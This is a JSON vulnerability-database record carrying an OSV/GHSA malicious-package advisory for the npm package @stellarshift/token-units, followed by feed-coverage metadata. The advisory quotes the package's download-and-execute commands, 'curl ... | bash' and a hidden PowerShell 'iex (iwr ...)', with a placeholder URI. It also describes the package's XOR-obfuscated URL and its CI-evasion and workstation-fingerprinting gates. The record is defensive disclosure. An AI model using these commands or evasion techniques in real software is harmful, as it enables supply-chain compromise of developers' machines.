{"id":"MAL-2026-15824","revision":null,"records":[{"revision":"853743b4bc9c4d4fb2a16134e9f7560b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-15824","aliases":["GHSA-rj7g-9fgf-944x"],"title":"Malicious code in @stellarshift/token-units (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211)\nPackage advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key `seed + '-stellarshift-registry'` combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: `curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash` on Unix, and `iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content` inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.\n\n## Source: ghsa-malware (799167b7d6274c8f25f96e1ba8b66bf88ec065b10ed92cce4da2193e42aba346)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-09-02T17:38:00+00:00","modifiedAt":"2026-09-04T06:45:06.3309564+00:00","affected":[{"ecosystem":"npm","name":"@stellarshift/token-units","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.0.1","1.0.3","1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@stellarshift/token-units/v/1.0.1","https://www.npmjs.com/package/@stellarshift/token-units/v/1.0.3","https://github.com/advisories/GHSA-rj7g-9fgf-944x","https://www.npmjs.com/package/@stellarshift/token-units/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-15824","license":"OSV · upstream source license applies","key":"osv:MAL-2026-15824","identifiers":["MAL-2026-15824","GHSA-rj7g-9fgf-944x"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-19T15:01:21.3315545+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-19T15:01:21.3315545+00:00","lastSuccessAt":"2026-11-19T15:01:21.5019314+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:21.5019323+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-e55c589538e0700b45c7d6d41fe1447a79199283262c371c864535c791a040b9-d42c703c61cc3c6d1f760f4d087897ddb503f3bb8ab25df157835cf5a8fe3a94","complete":true,"records":428499,"lastAttemptAt":"2026-11-19T14:59:42.1428877+00:00","lastSuccessAt":"2026-11-19T14:59:42.0611368+00:00","error":null,"lastVerifiedAt":"2026-11-19T14:59:42.1428877+00:00","snapshotPublishedAt":"2026-11-19T14:29:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-26529f66dffa421bbc348eb3061d9236","complete":false,"records":13861,"lastAttemptAt":"2026-11-19T15:11:12.2316141+00:00","lastSuccessAt":"2026-11-19T15:11:12.227+00:00","error":"229 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-19T15:11:12.227+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13679,"expectedIdentifiers":13908,"failedIdentifiers":229},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-19T15:01:21.3315545+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-19T15:01:21.3315545+00:00","lastSuccessAt":"2026-11-19T15:01:21.5028737+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:21.5028738+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3d346fd985e841b1aac7f0b69a8e04b9","complete":true,"records":13873,"lastAttemptAt":"2026-11-19T15:01:35.3188656+00:00","lastSuccessAt":"2026-11-19T15:01:35.314+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:35.314+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13908,"expectedIdentifiers":13908,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-76574c95b6792d47ba90af64983ed5843633f14426346d676016e94a5f383202","complete":true,"records":9963,"lastAttemptAt":"2026-11-19T15:01:21.1838445+00:00","lastSuccessAt":"2026-11-19T01:24:31.4213722+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:21.1838445+00:00","snapshotPublishedAt":"2026-11-19T01:03:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-19T14:59:42.2842727+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-19T14:59:42.2842727+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-313d8afdba3867de110bc2f0cc252c7b787cb94e08a055d09b0542017e147ca8","complete":true,"records":3194,"lastAttemptAt":"2026-11-19T15:01:21.2884267+00:00","lastSuccessAt":"2026-11-19T09:40:31.5988269+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:21.2884267+00:00","snapshotPublishedAt":"2026-11-19T09:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-723a433246e9cdaa22cd2b5cabd24a20f0024f418c34c5e5569e1f788454d859","complete":true,"records":232738,"lastAttemptAt":"2026-11-19T15:01:21.0564094+00:00","lastSuccessAt":"2026-11-19T15:01:20.0364127+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:21.0564094+00:00","snapshotPublishedAt":"2026-11-19T14:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}